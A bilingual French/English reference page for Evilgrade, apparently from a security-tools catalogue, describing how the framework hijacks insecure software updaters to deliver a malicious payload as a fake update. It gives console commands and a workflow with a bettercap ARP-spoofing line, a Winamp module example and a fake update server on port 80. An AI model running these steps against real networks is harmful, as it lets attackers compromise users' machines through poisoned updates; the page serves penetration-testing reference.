Evilgrade

Framework d'exploitation qui abuse des implémentations de mise à jour logicielle non sécurisées en injectant de fausses mises à jour malveillantes. Exploitation framework that abuses insecure software update implementations by injecting fake malicious updates.

↗ https://github.com/infobyte/evilgrade

Overview

Evilgrade (isr-evilgrade) is a modular framework that exploits applications with insecure auto-update mechanisms — updaters that fetch over plain HTTP, don’t verify signatures, or trust attacker-controllable metadata. Positioned as a man-in-the-middle, Evilgrade intercepts a vulnerable app’s update check and serves a malicious “update” (an attacker binary) instead, which the target then executes trusting it’s legitimate. It ships with modules for a range of historically-vulnerable updaters (Java, Winamp, Notepad++, etc.) and a framework for writing new ones.

Common Usage

Launch the Evilgrade console

evilgrade

List available modules

evilgrade> show modules

Select a module for a specific vulnerable updater

evilgrade> configure <module_name>

Set the malicious payload to serve as the “update”

evilgrade> set agent /path/to/payload.exe
# Configure listener and start the fake update server
evilgrade> set listenport 80
evilgrade> start

Typical Workflow

  1. Position as MITM (ARP spoofing, rogue AP, DNS spoofing)
bettercap -iface eth0 -eval "set arp.spoof.targets <target>; arp.spoof on"
# 2. Redirect the vulnerable updater's traffic to the Evilgrade listener
#    (via DNS spoofing of the update host, or transparent proxy rules)

# 3. Start Evilgrade with the matching module and payload
evilgrade> configure winamp
evilgrade> set agent payload.exe
evilgrade> start

# 4. Wait for the target app to check for updates and execute the payload

Notes

  • Requires MITM positioning first — Evilgrade itself doesn’t intercept traffic, it only serves the fake update once traffic is redirected to it.
  • Most modern updaters now use HTTPS + code signing, so applicable targets are largely legacy/unpatched software — still relevant on older embedded devices and unmaintained internal tools.
  • Combine with ettercap/bettercap/DNS spoofing for the redirection step.
Help / Man page
evilgrade [console]

Console commands:
  show modules            List all available update-hijack modules
  configure <module>       Load and configure a module
  show options              Show current module options
  set <option> <value>       Set a module/agent option
  set agent <file>            Path to the malicious payload to serve
  set listenport <port>        Port for the fake update server
  start                          Start the module's listener
  stop                            Stop the current listener
  info <module>                    Show module details/target versions

Vue d’ensemble

Evilgrade (isr-evilgrade) est un framework modulaire qui exploite les applications dotées de mécanismes de mise à jour automatique non sécurisés : des updaters qui récupèrent les mises à jour en HTTP simple, ne vérifient pas les signatures, ou font confiance à des métadonnées contrôlables par l’attaquant. Positionné en homme du milieu, Evilgrade intercepte la vérification de mise à jour d’une application vulnérable et sert une fausse « mise à jour » (un binaire attaquant) à la place, que la cible exécute ensuite en la croyant légitime. Il est fourni avec des modules pour un ensemble d’updaters historiquement vulnérables (Java, Winamp, Notepad++, etc.) et un framework pour en écrire de nouveaux.

Utilisation courante

# Lancer la console Evilgrade
evilgrade

# Lister les modules disponibles
evilgrade> show modules

# Sélectionner un module pour un updater vulnérable spécifique
evilgrade> configure <module_name>

# Définir le payload malveillant à servir comme "mise à jour"
evilgrade> set agent /path/to/payload.exe

# Configurer l'écouteur et démarrer le faux serveur de mise à jour
evilgrade> set listenport 80
evilgrade> start

Flux de travail typique

  1. Se positionner en MITM (ARP spoofing, rogue AP, DNS spoofing)
bettercap -iface eth0 -eval "set arp.spoof.targets <target>; arp.spoof on"
# 2. Rediriger le trafic de l'updater vulnérable vers l'écouteur Evilgrade
#    (via DNS spoofing de l'hôte de mise à jour, ou règles de proxy transparent)

# 3. Démarrer Evilgrade avec le module et le payload correspondants
evilgrade> configure winamp
evilgrade> set agent payload.exe
evilgrade> start

# 4. Attendre que l'application cible vérifie les mises à jour et exécute le payload

Remarques

  • Nécessite un positionnement MITM au préalable : Evilgrade lui-même n’intercepte pas le trafic, il sert seulement la fausse mise à jour une fois le trafic redirigé vers lui.
  • La plupart des updaters modernes utilisent désormais HTTPS et la signature de code, donc les cibles applicables se limitent en grande partie aux logiciels legacy/non patchés : encore pertinent sur les anciens appareils embarqués et les outils internes non maintenus.
  • Combiner avec ettercap/bettercap/DNS spoofing pour l’étape de redirection.
Aide / Page de manuel
evilgrade [console]

Console commands:
  show modules            List all available update-hijack modules
  configure <module>       Load and configure a module
  show options              Show current module options
  set <option> <value>       Set a module/agent option
  set agent <file>            Path to the malicious payload to serve
  set listenport <port>        Port for the fake update server
  start                          Start the module's listener
  stop                            Stop the current listener
  info <module>                    Show module details/target versions